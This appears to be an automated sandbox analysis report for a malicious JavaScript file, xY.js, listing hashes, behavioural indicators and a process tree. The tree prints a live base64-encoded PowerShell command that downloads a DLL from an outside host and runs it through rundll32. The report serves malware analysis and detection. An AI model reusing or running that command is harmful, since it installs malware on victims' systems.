cfe3a0b996165a8b94dabb19c0663b222a640b34a719652ad91678c14085c9aa

Analysis

max time kernel
30s
max time network
33s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
14/03/2023, 11:46

Target

xY.js
Size

38KB
MD5

746da79fbb80d5e959e0e27e29cd0a59
SHA1

12c1677e14998b343d3d3ae8fcf4c73d2557ae28
SHA256

cfe3a0b996165a8b94dabb19c0663b222a640b34a719652ad91678c14085c9aa
SHA512

7e978dbe51e787be85810fab54a5471b323519449f3aad7a649e827e95e9227d9274e84678c0b4cd7f440a6b39ab89e2439d852d389549f447866dd47bd3e13b
SSDEEP

768:a2vwOKfdE+gKkTEERm3GjOQR9BAwYquB5mnpev5MRMjrnt+MI775ET8JngYn7CrR:zwI+V3GyU9B7YqubmpWZYFnGz

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1392	powershell.exe
1392	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1392	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1524 wrote to memory of 1392	1524	wscript.exe	27
PID 1524 wrote to memory of 1392	1524	wscript.exe	27
PID 1524 wrote to memory of 1392	1524	wscript.exe	27
PID 1392 wrote to memory of 1788	1392	powershell.exe	29
PID 1392 wrote to memory of 1788	1392	powershell.exe	29
PID 1392 wrote to memory of 1788	1392	powershell.exe	29

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\xY.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAGgAdAB0AHAAcwA6AC8ALwB1AHAAcABsAHkAcwBuAGkAbgBnAGEAdgBhAG4AYwBlAHoALgBjAG8AbQAvAGUAdgBsAHQAbABsAC8AdAAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAVQBuAGMAbwBuAHQAZQBzAHQAYQBiAGwAeQBVAG4AZABlAHIAZwByAGEAcwBzAC4AZABsAGwAOwBzAHQAYQByAHQAIAByAHUAbgBkAGwAbAAzADIAIAAkAGUAbgB2ADoAVABFAE0AUABcAFwAVQBuAGMAbwBuAHQAZQBzAHQAYQBiAGwAeQBVAG4AZABlAHIAZwByAGEAcwBzAC4AZABsAGwALABYAFMAOAA4ADsA"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1392
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\\UncontestablyUndergrass.dll XS88
    3⤵
    PID:1788

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/1392-58-0x000000001B230000-0x000000001B512000-memory.dmp

Filesize
2.9MB

Download
memory/1392-59-0x0000000001FD0000-0x0000000001FD8000-memory.dmp

Filesize
32KB

Download
memory/1392-60-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/1392-61-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/1392-62-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/1392-63-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download